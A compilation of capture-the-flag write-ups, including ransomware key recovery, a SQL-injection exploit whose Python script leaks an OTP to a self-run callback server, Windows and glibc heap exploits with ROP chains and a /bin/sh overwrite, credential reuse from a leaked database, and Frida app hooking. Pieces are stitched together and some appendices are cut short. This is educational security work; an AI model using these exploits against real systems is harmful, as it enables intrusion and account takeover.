By using a mix of Libsodium source code, documentation and assumption, it ispossible to identify the exact name of the encryption function.
The ransomware encrypts files using`crypto_secretstream_xchacha20poly1305_push`, just like in the[Encrypted streams and file encryption](https://doc.libsodium.org/secret-key_cryptography/secretstream)chapter.
It is therefore safe to assume that the key is generated in the `main` functionby the `crypto_aead_xchacha20poly1305_ietf_keygen` function and is stored at`0x000387c0`.
The nonce (header) is generated randomly and is stored in the first 0x18 bytesof the encrypted file :```ccrypto_secretstream_xchacha20poly1305_init_push(&state, header, key);fwrite(header, 0x18, 1, fp_oput);```
### Reference generation
Once every files matching the regular expression have been encrypted, theprogram calls once again the weird `fptr` function with different arguments :`fptr[argc](1, key = buffer)`.
When the first argument is 1, the function does something entirely different.
It first starts by copying the key in a local buffer, and shift every byte leftaccording to a lookup-table :```cint keyLocal[sizeof(key)];int shifts[8] = {...};
for(i = 0; i < sizeof(key); i++) { keyLocal[i] = key[i]; keyLocal[i] = keyLocal[i] << (shifts[j % 8] & 0x1f);}```
It then calls 3 functions in this order, and with these arguments :```cf_2640(keyLocal, 4);f_3d60(keyLocal, 1);
f_2640(keyLocal, 2);f_3d60(keyLocal, 6);
f_2640(keyLocal, 5);f_3d60(keyLocal, 4);
f_4450(keyLocal);```
`f_2640` calls differents functions through trampolines. All of these functionstake two arguments : an `int*` (always `keyLocal` and an index. This indexgoes from `0x00` to `0x10`.
All these functions add the `arg2`th number of a look-up table to `arg1[idx]`.`idx` increases by one for each function.
The `f_2640` function effectively adds a look-up table to the key.
`f_3d60` is much more straightforward because it does not use trampolines andnew functions :```clocalKey[0] = localKey[0] * LUT_mul[start + 0 & 0xf];localKey[1] = localKey[1] * LUT_mul[start + 1 & 0xf];localKey[2] = localKey[2] * LUT_mul[start + 2 & 0xf];localKey[3] = localKey[3] * LUT_mul[start + 3 & 0xf];// ...```
This function does the same action but multiplies instead of adding. The look-uptable is different.
`f_4450` is also straightforward : it xors `localKey[0x01..0x1F]` with`localKey[0x00..0x1E]`
The full algorithm has been reimplemented in the `check.php` script present inthe appendices of this writeup.
### Undoing the transformation
The last xor operation can be reverted.
Unfortunately the multiplication operation cannot be reverted because 8 is apossible factor because there is no multiplicative inverse of 8 mod 2^32.
The multiplication, addition and shift operations only work on a specific index.This means that once the xor operation has been reverted, it is possible tobruteforce each byte of the key (256 possibilities) independently.
The code to recover the key is in `pwn.php`
The encryption key is `AF 51 23 A0 B0 14 C3 CC CF D4 8B 47 6D E9 08 98 54 DB C88C 49 1E 54 44 35 C4 D5 3B FA 8E FD 3A`
Once the key is recovered, it is possible to decrypt the `ragequit.flag.rgq`file. This file contains the flag.
**Flag**: `BCTF{s0m3t1m2s_r4g3_1s_4ll_y0u_n33d}`
## Appendices### check.php```php 0; $i--) $key[$i] ^= $key[$i - 1];
// bffor($i = 0; $i < 0x100; $i++) { $check = [ $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, $i, ];
$check = shl($check); $check = add($check, 4); $check = mul($check, 1); $check = add($check, 2); $check = mul($check, 6); $check = add($check, 5); $check = mul($check, 4);
for($j = 0; $j < sizeof($check); $j++) if($key[$j] === $check[$j]) $result[$j] = $i;}
for($i = 0; $i < sizeof($result); $i++) printf("%02X", $result[$i]);
printf("\n");```
### crypto.php``` |
**This is a possible solution, provided by Syskron Security.**
## Try to access the linkGoing to https://[…]/bbd1595da2871a8f0c87c9042c4918f7661b8615/ shows that you need a username and a password. The login is restricted to the IT department of BB Industry a.s. (written in Czech).
## Find someone who works in the IT departmentOn https://[…]/career/, there are two employees (Karel and Lenka). Karel is the head of IT at BB Industry, so he likely has access to the folder. This means we need the username and password of Karel.
## Find the username of KarelFrom the career page, you can navigate to https://[…]/job-2195/. On this page, you see the e-mail address len.vapenikova[at]bb-industry.cz. Obviously, usernames are the first the characters of the given name and the surname. This means that Karel's username could start with kar; however, we don't have the surname so far.
## Find Karel's surnameExamining the picture of Karel reveals his surname (Tauchmann). So the username is kar.tauchmann.
## Find Karel's passwordTo get the password, we have to look at the leaked employee database (part of the "Leak audit" challenge of the CTF). Get the old password of Karel (`SELECT password FROM personal WHERE givenname = "Karel" AND surname = "Tauchmann";` = `ultra$ecureHESLO2o17`). This won't work because he updated his password in the meantime to `ultra$ecureHESLO2o2o`. Use the username and password to bypass the authentication.
## Decrypt the 7zip fileIn the folder, there are two files (encrypted 7z files and a txt file). You have to decrypt the 7z file. In the txt file, you can read that these files belong to Lenka, Head of HR. Get Lenka's password from the database dump (`SELECT password FROM personal WHERE givenname = "Lenka" AND surname = "Vápeníková";` = `MilujuJablka`). Use the password to decrypt the 7z file.
## Find the flagIn the 7z file, there are 1000 files. Use scripting to quickly iterate through the files to get the flag (e.g., `grep -R "syskronCTF" *`).
Flag: `syskronCTF{th4NK5-F0r-ur-W0Rk}` |
**This is a possible solution, provided by Syskron Security.**
All of the following steps are described in the files you got for the challenge.
## Generate the private keys for both PLCsGenerate the private keys for both PLCs, using the BB Key generator (PLC1: B999100 → 42434554555666; PLC2: B999107 → 49434554555666). The deviceIds are listed in the files libreplc-config-plc1.json and libreplc-config-plc2.json.
## Derive the shared keyDerive the relevant shared key for the communication (the content of libreplc-config-shared-keys.json can't be read, but the results are already there after step 1): B999100 comes first since the number is lower → 4243455455566649434554555666. However, we need to omit the last two digits → 424345545556494345545556.
## Decode all exchanges messagesDecode the messages in the .out files (from hex, from MessagePack):
M1:```{ "protocol": "epes", "protocolVersion": 2, "protocolMessage": "SYN", "scryptSalt": "dGhlTW9zdFNlY3VyZUNyeXB0b1Byb3RvY29s", "hmacSha": 256, "aesKeySize": 192, "aesIv": "0x86ce20cec9f4dbd8f5a9df51dd63b5a0", "aesMode": "cfb"}```
M2:```{ "protocol": "epes", "protocolVersion": 2, "protocolMessage": "ACK"}```
M3:```{ "timestamp": 1601877506, "encryptedMessage": "0xb2b591ea94c704"}```
M4:```{ "timestamp": 1601877534, "encryptedMessage": "0xb77c347a2619d3"}```
M5:```{ "timestamp": 1601877557, "encryptedMessage": "0x6c69dfad4f3ff9"}```
M6:```{ "timestamp": 1601877599, "encryptedMessage": "0x24ed9df539ab08"}```
M7:```{ "timestamp": 1601877681, "encryptedMessage": "0x5450c732c60508"}```
M8:```{ "timestamp": 1601877704, "encryptedMessage": "0xf00d34f319fa5d"}```
This reveals:* AES-192-CFB is used. The IV is 0x86ce20cec9f4dbd8f5a9df51dd63b5a0.* The scrypt salt is dGhlTW9zdFNlY3VyZUNyeXB0b1Byb3RvY29s. The other parameters of scrypt are mentioned in the description: N=16384, r=8, p=1, dkLen=64.* For the OATH-TOTP HMAC, SHA-256 is used.
## Calculate the scrypt outputUsing scrypt with the parameters (step 3; M1) and the shared key (step 2), we get 5c1472d3fc0b04afe8d24528c999ff219db16a6e7b15de0fc5f7cf3f6afbd953ce6cabe474d74278af87f7fcd95cfebf40065e7d4d47e258309a2c5182797ef7 as the shared secret.
## Recalculate OATH-TOTPsFor OATH-TOTP, we need the shared secret (step 4), the timestamp (see each message M, step 3), the HMAC hash function (step 3). The timestamp needs to be converted from epoch time to ISO time. This can be done for M3 to M8, resulting in the 8-digit encryption/decryption key for each message.
## Decrypt each messageTo decrypt each message, the 8-digit key needs to be repeated three times (to get 192 bits, as described in the protocol). Using AES-192-CFB results in six parts of the flag.
Flag: `syskronCTF{getting-the-flag-was-a-PITA}` |
# CultureSteganography
## Challenge

## Solutionwe are provided with a challenge png filesince it's a png i decided to check through zsteg and we get our flag
and there we get our flag |
## Pingsweeper writeupOur CTF financial analyst lost his phone, and now he cannot login to the dashboard to analyze our finances.Those damn OTPs! Maybe you can help?
His phone number is +912213371337.
URL: https://pingsweeper.appsecil.ctf.today/
By Michael Maltsev and Artur Isakhanyan
---
Spent a long time on this challenge! But it was a lot of funt, and quite different from other SQL injection challenges.
We get the source code for this web application, quickly notice that a MySQL server is in use, and the web application is a nodejs project.
After skimming through the source code we see that there are a few endpoints:- /signin- /endpoint- /api- /api/addEndpoint- /api/getEndpoints- /api/clearEndpoints- /api/login- /api/confirmOtp
Shortly summarized, this is a login page where you first log in with a phone number. The phone number is hard coded into the application, and can easily be found in the source code, After a phone number has been provided, the server will create a OTP token for you. This OTP token needs to be confirmed in order to get the flag. The OTP token gets stored in the database as a session variable @OTP. Next, the server fetches all endpoints registered for a specific user (with a uuid), before encrypting the OTP and timestamp and storing it in a cookie (otpStamp).
On the confirmOtp page, it decrypts the otpStamp cookie and checks if it is equal to the OTP sent by the user. If correct, it will give us the flag.
The database is used to store endpoints for users. Each user can add endpoints (stored in database with id, url and uuid), clear endpoints or fetch endpoints. It seems like you can add as much endpoints you like.
The goal of this challenge is to leak the @OTP session variable and send it back to us, so that we can confirm it and get the flag. A vulnerable version of sequelize is used, so it should be possible to use SQL injection if there are some misconfigurated SQL queries.
```jsconst results = await endpointsModel.findAll({ where: { uuid: { $eq: req.cookies.uuid } }, order: req.body.order, limit: parseInt(req.body.limit, 10) || 3, transaction });```After some time we find a vulnerability in the "order" query of this sequelize query. It seems like we can input anything into the "ORDER BY" part of the query, without it getting escaped.
The problem about this is that it is very hard to leak any information this way. The only good solution I found to leak anything is to order columns in the endpoint table a certain way so that we know what the @OTP variable is. This is no problem to do, since we can send in many urls.
The first step is to find a way to order on the url column based on what value @OTP has:- We can use find_in_set, mid, and substr to achieve this.
If we add endpoints that look like this:```http://<ip>/?0-------http://<ip>/?1-------http://<ip>/?2-------http://<ip>/?3-------http://<ip>/?4-------http://<ip>/?5-------...http://<ip>/?-1------http://<ip>/?-2------http://<ip>/?-3------...http://<ip>/?-------9```
We can sort each index of these query-parameters based on the value of @OTB, and we will know which position each number should be in.I automated the creation of these urls in my script.
To leak the first character of @OTB, we can do this. `find_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc`- `find_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc` is the same as `find_in_set('0','0') desc` if @OTB is 01234567 for example.- If the first number actually is 0, then the first URL the server will "ping" (fetch) would be the url with 0 on the first index.
We repeat the same thing for all indexes, since SQL can sort on multiple values, and the first 8 urls the server visits will show us each number on their specific indexes.Our final query will look something like this (We also do a limit 8, so that the server will only query 8 of our urls):```sqlfind_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc, find_in_set(mid(url,-7,1),substr(@OTP,2,1)) desc, find_in_set(mid(url,-6,1),substr(@OTP,3,1)) desc, find_in_set(mid(url,-5,1),substr(@OTP,4,1)) desc, find_in_set(mid(url,-4,1),substr(@OTP,5,1)) desc, find_in_set(mid(url,-3,1),substr(@OTP,6,1)) desc, find_in_set(mid(url,-2,1),substr(@OTP,7,1)) desc, find_in_set(mid(url,-1,1),substr(@OTP,8,1)) desc limit 8-- -```
The next step is to set up a web server and parse the incoming requests to put together our OTP code. I ran Flask in another thread so that I could send the SQL injection after Flask had started. Once the OTB key is parsed, we can confirm it using the OTP stamp cookie and get the flag:
```bash$ python3 pingsweeper.py
find_in_set(mid(url,-8,1),substr(@OTP,1,1)) desc, find_in_set(mid(url,-7,1),substr(@OTP,2,1)) desc, find_in_set(mid(url,-6,1),substr(@OTP,3,1)) desc, find_in_set(mid(url,-5,1),substr(@OTP,4,1)) desc, find_in_set(mid(url,-4,1),substr(@OTP,5,1)) desc, find_in_set(mid(url,-3,1),substr(@OTP,6,1)) desc, find_in_set(mid(url,-2,1),substr(@OTP,7,1)) desc, find_in_set(mid(url,-1,1),substr(@OTP,8,1)) desc limit 8-- -
[*] Creating endpoints.[*] Sending SQL injection query. * Serving Flask app "pingsweeper" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: on * Running on http://0.0.0.0:15600/ (Press CTRL+C to quit)18.134.59.71 - - [31/Oct/2020 08:22:55] "GET /?8------- HTTP/1.1" 200 -18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?-2------ HTTP/1.1" 200 -18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?--7----- HTTP/1.1" 200 -18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?---1---- HTTP/1.1" 200 -18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?----5--- HTTP/1.1" 200 -18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?-----7-- HTTP/1.1" 200 -18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?------1- HTTP/1.1" 200 -18.134.59.71 - - [31/Oct/2020 08:22:56] "GET /?-------0 HTTP/1.1" 200 -okWaiting until all requests have been received!Leaked OTP: 82715710OTP stamp from cookie: AWCGmTpwCRcTTti4tpxbhgo2j%2F1psTnOrBAHfEXg9tqxVDzvXQ%3D%3D[*] Clearing endpoints.Deleting endpoints: ok[*] Logging in.[+] FLAG: AppSec-IL{SH0u1d_H4v3_US3d_4_pR3p4R3d_ST4Tm3Nt}```
FLAG: `AppSec-IL{SH0u1d_H4v3_US3d_4_pR3p4R3d_ST4Tm3Nt}`
The final script is a bit more automated:```python#!/usr/bin/env python3import requestsimport itertoolsimport threadingimport urllib.parsefrom flask import Flask, requestfrom math import factorial as fac
TEST = True
if TEST: url = "http://localhost:3000/api"else: url = "https://pingsweeper.appsecil.ctf.today/api"
port = 9999uuid = requests.get(url).cookies['uuid']
headers = { "Cookie": f"uuid={uuid}"}
def sql_query(otp_length): subquery = "find_in_set(mid(url,{offset},1),substr(@OTP,{index},1)) desc" subqueries = [] for i in range(otp_length): subqueries.append(subquery.format(offset=-otp_length+i, index=i+1)) return f"{', '.join(subqueries)} limit {otp_length}-- -"
def create_endpoints(callback_url, otp_length): for i in range(10): suffixes = set(itertools.permutations([str(i)] + ['-'] * (otp_length-1))) for suffix in suffixes: data = { "uuid": uuid, "url": f"{callback_url}/?" + ''.join(suffix) }
r = requests.post(f"{url}/addEndpoint", headers=headers, data=data)
def clear_endpoints(): r = requests.delete(f"{url}/clearEndpoints") print("Deleting endpoints:", r.text)
def do_inject(query, otp_length): global headers OTP = ['-'] * otp_length
def flask_app(): app = Flask(__name__) @app.route("/") @app.route("/<path>") def get_otp_part(): nonlocal OTP otp = request.query_string.decode()
for i, d in enumerate(otp): if d != '-': OTP[i] = d return ''
app.run(host='0.0.0.0', port=port, debug=True, use_reloader=False)
t_flask = threading.Thread(name="Flask app", target=flask_app) t_flask.setDaemon(True) t_flask.start() sleep(1)
data = { "phone": "+912213371337", "order": query } r = requests.post(f"{url}/login", headers=headers, json=data) otpstamp = r.cookies.get('otpStamp') headers['Cookie'] += f'; otpStamp={otpstamp}'
print(r.text) print("Waiting until all requests have been received!") sleep(2) OTP = int(''.join(OTP)) print("Leaked OTP:", OTP) print("OTP stamp from cookie:", otpstamp) return OTP
def confirm_otp(otp): data = { "otp": f"{otp}" } j = requests.post(f"{url}/confirmOtp", headers=headers, data=data).json()
if "flag" in j: print("[+] FLAG:", j['flag']) else: print("[-] Something went wrong:", j)
return j
def main(): otp_length = 8 callback_endpoint = f"http://<IP ADDRESS OF YOUR OWN SERVER>:{port}" query = sql_query(otp_length) print(query) print("[*] Creating endpoints.") create_endpoints(callback_endpoint, otp_length) print("[*] Sending SQL injection query.") otp = do_inject(query, otp_length)
print("[*] Clearing endpoints.") clear_endpoints()
print("[*] Logging in.") confirm_otp(otp)
if __name__ == "__main__": main()``` |
# Public Service
 
```txtThere is a flag associated with the malicious process from Evil Twin on a popular site used to check malware hashes. Find and submit that flag.```
---
The task description is hinting at "[...] a popular site used to check malware hashes. [...]". That could only mean [virustotal.com](https://virustotal.com).
So... we quickly dumped the [previously discovered](../Evil%20Twin/README.md) _evil twin_ to disk:
```bashpython2.7 vol.py -f mem.raw --profile=Win10x64_15063 procdump -p 5448 -D dump```
... and uploaded it to virustotal. ([this](https://www.virustotal.com/gui/file/096740ce1bc9fa14ab07c16efd21fd946b7e966dbc1fe66ce02f5860911c865e/detection) is the URL, btw.).
Now, the task description also talks about a flag being associated with this binary on this popular website... this is probably meant in the sense of some user comment. So... check the community tab and... here you'll find the flag: `flag{h4cktober_ctf_2020_nc}`
 |
# LowFunHeap writeup
## Summary- Make note strikes back on Windows heap- Bugs - Uninit var usage after empty string receival (printable with option '1') - OOB access on option '3' due to signed comparison- 0x20 size chunks allocated at LFH chunks- 32bit binary at year 2020, much wow
## Exploit1. Leak binary base 1. 0x20 size chunks use LFH, saturate the first UserBlocks with 0x18 chunks with option '3' such that last 4 bytes are set to target address to leak (LSByte must be '\x00') 1. Probe for binary base by checking leak result with expected leak data - I used binary base + (0x00017B00 or 0x00007500) - If not hit, will either crash or return different data - If hit, will return some known data - Requires max 2 bytes bruteforce (in reality completes quite fast due to low entropy, see [ref](http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf#page=20)) 1. Windows ASLR only changes binary & dll bases after reboot (dunno the exact internals) - leak once, use forever1. Leak kernel32 base 1. We have binary base, just read IAT1. Overwrite vtable, stack pivot & ROP our way through flag 1. With OOB access on option '3' we can overwrite vtable of object created at option '1' 1. Use option '3' with two elements (fetching malloc(0x10 * 2)), write ROP payload at first element and overwrite vtable with second OOBed element - I used stack pivoting with `mov esp, ebp ; pop ebp ; ret` gadget at kernel32 - Check out the if statement predicate just above of innermost while loop, see how `ebp` is set :) - Some useful functions are given (ex: sending 18 bytes from given buffer over socket) - Requires about 1/0x18 bruteforce since we assume option '1' and '3' buffers are at index (0, 2) or (1, 3) ... up to (0x15, 0x17), probably can do better with derandomization but didn't bother
## Exploit Code
```pyfrom pwintools import *from time import sleep
binary = PE(r'.\lfh.exe')k32 = PE(r'.\bins\kernel32.dll')
# pre-leakIP, PORT, binary.base, k32.base = 'flu.xxx', 2094, 0x009f0000, 0x75b00000
DEBUG = Falsedef run(): global _p, p if DEBUG: binary.base, k32.base = 0xf0000, 0x76320000 _p = Process('lfh.exe') #_p.spawn_debugger(x96dbg = True, sleep = 5) sleep(0.5) p = Remote('127.0.0.1', 9999) p.timeout = 20000000 else: print(PORT) p = Remote(IP, PORT) p.timeout = 1500
def destroy(): try: _p.close() except: pass try: p.close() except: pass
def cmd(sel, data): p.recvuntil('\xCC\x00') p.send(str(sel)) p.send(data)
def sel1(s): cmd(1, s) # s == '\n' causes uninit var access p.recvuntil('DEBUG: obj->hash:\0') return p.recvuntil('\xAA\xBB')[:-2]
def sel2(wait=4000): old_timeout, p.timeout = p.timeout, wait cmd(2, '') # liveliness test? p.timeout = old_timeout
def sel3(elem_cnt, indices, strs): payload = p32(elem_cnt) payload += ''.join(map(lambda x: p32(x[0])+x[1][0]+x[1][1], zip(indices, strs))) cmd(3, payload)
def sel3_free(): cmd(3, p32(0xffff))
def spray(cnt, spray_payload): elem_cnt = cnt indices = list(range(elem_cnt)) assert('\n' not in spray_payload[:-1]) strs = [(spray_payload, spray_payload)] * elem_cnt sel3(elem_cnt, indices, strs)
# binary base leakdef leak_binary_base(): match_1 = ''.join(chr(int(c, 16)) for c in """ 38 39 3A 3B 3C 3D 3E 3F 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 7B 7C 7D 7E 7F 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF 75 """.strip().split()) match_2 = '\x83\xE6\x3F\x80\x7F\x29'
# we can be 2x faster, but oh well it still works :) for i in range(0x1, 0x10000): try: try_base = i * 0x10000 log.info('Trying base {:08x}'.format(try_base))
# 1. saturate LFH alternative = False spray_payload = 'A'*0x1c + p32(try_base + 0x00017b00)[:-1] + '\n' if '\n' in spray_payload[:-1]: alternative = True spray_payload = 'A'*0x1c + p32(try_base + 0x00007500)[:-1] + '\n' if '\n' in spray_payload[:-1]: # 0x0a??????-like bases, let's just :pray: log.info('Skipping base {:08x}'.format(try_base)) continue
run() sel2()
spray(0x18 // 2, spray_payload)
# 2. free all at LFH sel3_free()
# 3. try probing # read base + 0x00017B00 => if hit, yields match_1 # read base + 0x00007500 => if hit, yields match_2 res = sel1('\n') if (not alternative and res == match_1) or (alternative and res == match_2): return try_base
# else, we've probed something else but got different results (heap, other dlls, etc.) log.info("Misprobe") except KeyboardInterrupt: break except: pass finally: destroy() return None
def leak_k32_base(): # kernel32 leak run() sel2()
idt_ptr = binary.base + 0x15000
spray(0x18 // 2, 'A'*0x1c + p32(idt_ptr)[:-1] + '\n') sel3_free()
res = sel1('\n')[:4] WriteConsoleW = u32(res.ljust(4, '\0')) log.info('WriteConsoleW: {:08x}'.format(WriteConsoleW))
k32_base = WriteConsoleW - k32.symbols['WriteConsoleW'] assert k32_base & 0xffff == 0
destroy()
return k32_base
# first alloc 0x20 => first LFH 0x20, UserBlocks cnt 0x18
#binary.base = leak_binary_base()log.success('lfh.exe: {:08x}'.format(binary.base))#k32.base = leak_k32_base()log.success('kernel32.dll: {:08x}'.format(k32.base))
for i in range(10000): try: log.info('Attempt {}'.format(i))
run() try: sel2() except KeyboardInterrupt: break except: log.warning("Response too slow...") break
sel1('a\n')
""" base: k32 0x1090e : mov esp, ebp ; pop ebp ; ret 0x10911 : ret 0x6d23b : push esp ; pop esi ; ret 0x1e7b2 : pop eax ; ret 0x49b82 : add eax, esi ; pop esi ; ret 0x47718 : mov eax, dword ptr [eax] ; ret 0x223a7 : pop ecx ; ret 0x1fb4b : mov ecx, eax ; mov eax, ecx ; pop ebp ; ret 0x5dfa3 : mov dword ptr [eax], ecx ; xor eax, eax ; pop ebp ; ret 0x18 """ flag_buf = binary.base + 0x1f840 overlapped = binary.base + 0x1f940 send18b = binary.base + 0x12CF sockfd_ptr = binary.base + 0x1E9A0 rop = '' rop += p32(0) rop += p32(k32.base + 0x1e7b2) + p32(binary.base + 0x1E9A8) # eax = &hFlag rop += p32(k32.base + 0x47718) # eax = *eax rop += p32(k32.base + 0x1fb4b) + p32(0) # ecx = eax (= hFlag) rop += p32(k32.base + 0x1e7b2) + p32(0x30) # eax = 0x30 (offset @ stack 0x1337) rop += p32(k32.base + 0x6d23b) # esi = esp rop += p32(k32.base + 0x49b82) + p32(0) # eax = eax + esi rop += p32(k32.base + 0x5dfa3) + p32(0) # [eax] = ecx (*(arg loc) = hFlag) rop += p32(k32.base + k32.symbols['ReadFile']) + 'A'*0x18 + p32(k32.base + 0x223a7) + p32(0x1337) + p32(flag_buf) + p32(0x100) + p32(0) + p32(overlapped) rop += p32(sockfd_ptr) # already return to pop ecx for i in range(3): rop += p32(send18b) + p32(k32.base + 0x223a7) + p32(flag_buf + 18 * i) + p32(sockfd_ptr) rop += '\n'
vtable_payload = p32(0) + p32(k32.base + 0x1090e) + '\n' # vtable 2nd function as stack pivoter
assert '\n' not in (rop[:-1] + vtable_payload[:-1])
# very roughly approx. 1 / 0x18 chance of overwrite indices = [0, -5 & 0xffffffff] strs = [('\0\n', rop), ('\a\n', vtable_payload)] sel3(2, indices, strs)
print(p.recvuntil('}')) break except KeyboardInterrupt: break except: pass finally: destroy()
### flag{must_be_a_197_iq_hacker} ###``` |
# Chasing a lock writeup
This challange is very similar to Strong padlock one**We will use Frida and Jadx in this challange**
# Frida framework installationLet's setup Frida on our Android device like in this link:https://frida.re/docs/android/
And then install Frida tools on our pc:`pip3 install frida-tools`Let's now verify our installation:`frida-ps -U`If output is:` PID NAME12345 com.example.app`...you installed Frida correctly!
# Jadx decompiler installationLet's visit Jadx releases page on Githubhttps://github.com/skylot/jadx/releases/
Download latest binary and open it!
# Now let's begin!First, let's locate apk's Main activity classDo it by writing`frida-ps -U`You'll see` PID NAME12345 com.example.xyz.MainXXXXX com.example.razictf_2.MainActivity67890 com.modern.app.App`Now open apk in Jadx and go to`com.example.razictf_2.MainActivity`
We notice onClick method and inside of itcode changing our clicks left number **and this line**`String run = new switcher().run(i);` *which btw isn't best solution to call .run method*Now lets see for what `run` string is being usedit shows us something when its not null, hmmmMaybe visiting switcher.run will tell us more?Aha! This looks like code containing our flag parts
Now lets make frida script So we know what is giving us flag, lets try calling itI wrote this code to print flag for us:`console.log(console.log(Java.use("com.example.razictf_2.switcher").$new().run(0)));`
It doesn't tell you anything? Let me explain this simple code`Java.use("com.example.razictf_2.switcher")` gives us access to this class from frida api`.$new()` makes an instance of this class, now we have access to object from frida api`.run(0)` calls .run method of this object with 0 as argument`console.log(console.log(Java.use("com.example.razictf_2.switcher").$new().run(0)));` prints whole flag for us
Lets launch Frida now!Go to terminal/cmd and write this command:`frida -U -f com.example.razictf_2 --no-pause`Paste our code, and get the flag! |
# heapmailer - BalCCon2k20 CTF (pwn, 497p, 1 solved)## Introduction
heapmailer is a pwn task.
An archive containing a Linux binary and a libc is provided.
The binary is a C++ binary emulating an SMTP server.
## Reverse engineering
The binary uses a custom linked list structure :```cstruct list { struct list *next; size_t size; char data[0];};```
It uses this structure to store mostly strings. The size is `0x10 + size`. Itcan also store other kind of data, such as pointers.
There are 2 linked lists recipients and data chunk.
The server handles 5 different commands :- `HELP` prints the help- `FROM` changes the user's identity- `RCPT` push a new structure on the recipient list- `RCRM` removes a structure from the recipient list- `CHNK` decodes a base64 string and pushes its content to the chunk list- `POPC` removes the last entry from the chunk list- `SEND` calls `system(command)`, with `command` being loaded at start
The `FROM` command has a use-after-free vulnerability : when the user first setsits identity, and then changes it without specifying a name, the program willfree its current identity without clearing the pointer.```cppcout << "New identity: ";inputSize = readInput(input);
/* Free current identity */if(user->next != nullptr) delElt(user->next);
/* Executed only if there is a name ! */if(input[0] != 0) { struct list *list;
/* Create a new element that contains the user's input */ list = newElt(inputSize); copyString(input, input + inputSize, &list->data);
user->next = list;}```
The `CHNK` command does not handle properly base64 without padding.```cppstruct list *list;
cout << "Base64-encoded data: ";inputSize = readInput(input);
list = newElt(((inputSize - 1) / 4) * 3);/* [...] */chunks = list;b64decode(input, &list->data);```
The problem is that the division operator returns the quotient of the Euclideandivision. For example : in `inputSize` contains 99 A and a new line, the resultof the operation will be :```x = (100 - 1) / 4 * 3x = 99 / 4 * 3x = 24 * 3x = 96 == 0x60```
Decoding this payload will overwrite 2 bytes of the next chunk.
The `SEND` command calls `system` on a string that gets read from a file.The content of this file is stored on the heap.
## Exploitation
It is obvious that the expected solution here is to overwrite the command bufferand hijack the call to `system` with a different payload.
The heap layout looks something like this :```0x000000: tcache (0x250)0x000250: ? big (0x11c10)0x011e60: command pointer (0x20)0x011e80: ? 0x2300x0120b0: ? 0x200x0120d0: std::cout buffer (0x410)0x0124e0: free (0x1be0)0x0140c0: free (was: command buffer) (0x30)0x0140f0: command content (0x40)```
The idea is to split the free buffer at `0x124e0` in two. By using the base64vulnerability, it is possible to overwrite the next chunk's size to a sizelarger than its actual size.
This oversized free chunk can then be used to create a new chunk that will spray`/bin/sh\0` all over the command buffer.
The only requirement is to create a fake chunk before corrupting the size tofool glibc's security checks :
```0x0124e0: free...0x0140F0: command...0x016000: 0x0000000000001C70 0x00000000000000200x016010: 0x0000000000001C70 0x00000000000000200x016020: 0x0000000000001C70 0x00000000000000200x016030: 0x0000000000001C70 0x00000000000000200x016040: 0x0000000000001C70 0x00000000000000200x016050: 0x0000000000001C70 0x00000000000000200x016060: 0x0000000000001C70 0x00000000000000200x016070: 0x0000000000001C70 0x0000000000000020...```
`0x20` is the smallest size a chunk can have. Its `PREV_INUSE` bit is not set.`0x1C70` is the `prev_size` which has to match the corrupted chunk's size.
Once the command has been overwritten, a simple use of the `SEND` commandlaunches the payload.
Now, an attentive reader might ask :> But what about that use-after-free explained before ?
which is a very good question.
**Flag**: `BCTF{sorry_that_mail_is_not_gonna_arrive}`
## Appendices### pwn.php
```php#!/usr/bin/phpexpect("Anonymous ~> "); $t->write("CHNK\n");
$t->expect("Base64-encoded data: "); $t->write("$data\n");}
printf("[*] Creating process\n");$time = microtime(true);
$t = new Socket(HOST, PORT);
$t->expectLine("------------------------------------------------------------");$t->expectLine("| H.E.A.P. Mailer v1 - Highly Efficient Arbitrary Protocol |");$t->expectLine("------------------------------------------------------------");$t->expectLine("");$t->expectLine(" Enter HELP to display a list of commands.");$t->expectLine("");
printf("[+] Done in %f seconds\n", microtime(true) - $time);printf("\n");
printf("[+] Spray next chunk\n");$payload = str_repeat(pack("Q*", SIZE, 0x20), 0x800); $payload = base64_encode($payload);chnk($t, $payload);
printf("[+] Corrupt size\n");$payload = str_repeat("\x00", 0x48) . pack("v", SIZE | 1);$payload = rtrim(base64_encode($payload), "=");chnk($t, $payload);
printf("[+] Overwrite stuff\n");$payload = str_pad("/bin/sh", 8, "\x00");$payload = str_repeat($payload, (SIZE - 0x10 - 0x08) / 8);$payload = rtrim(base64_encode($payload), "=");chnk($t, $payload);
/* Get shell */$t->expect("Anonymous ~> ");$t->write("SEND\n");
printf("[!] shell\n");$t->pipe();``` |
#### Original Writeup - [https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Change.md](https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/Change.md)
-----
 

## Details
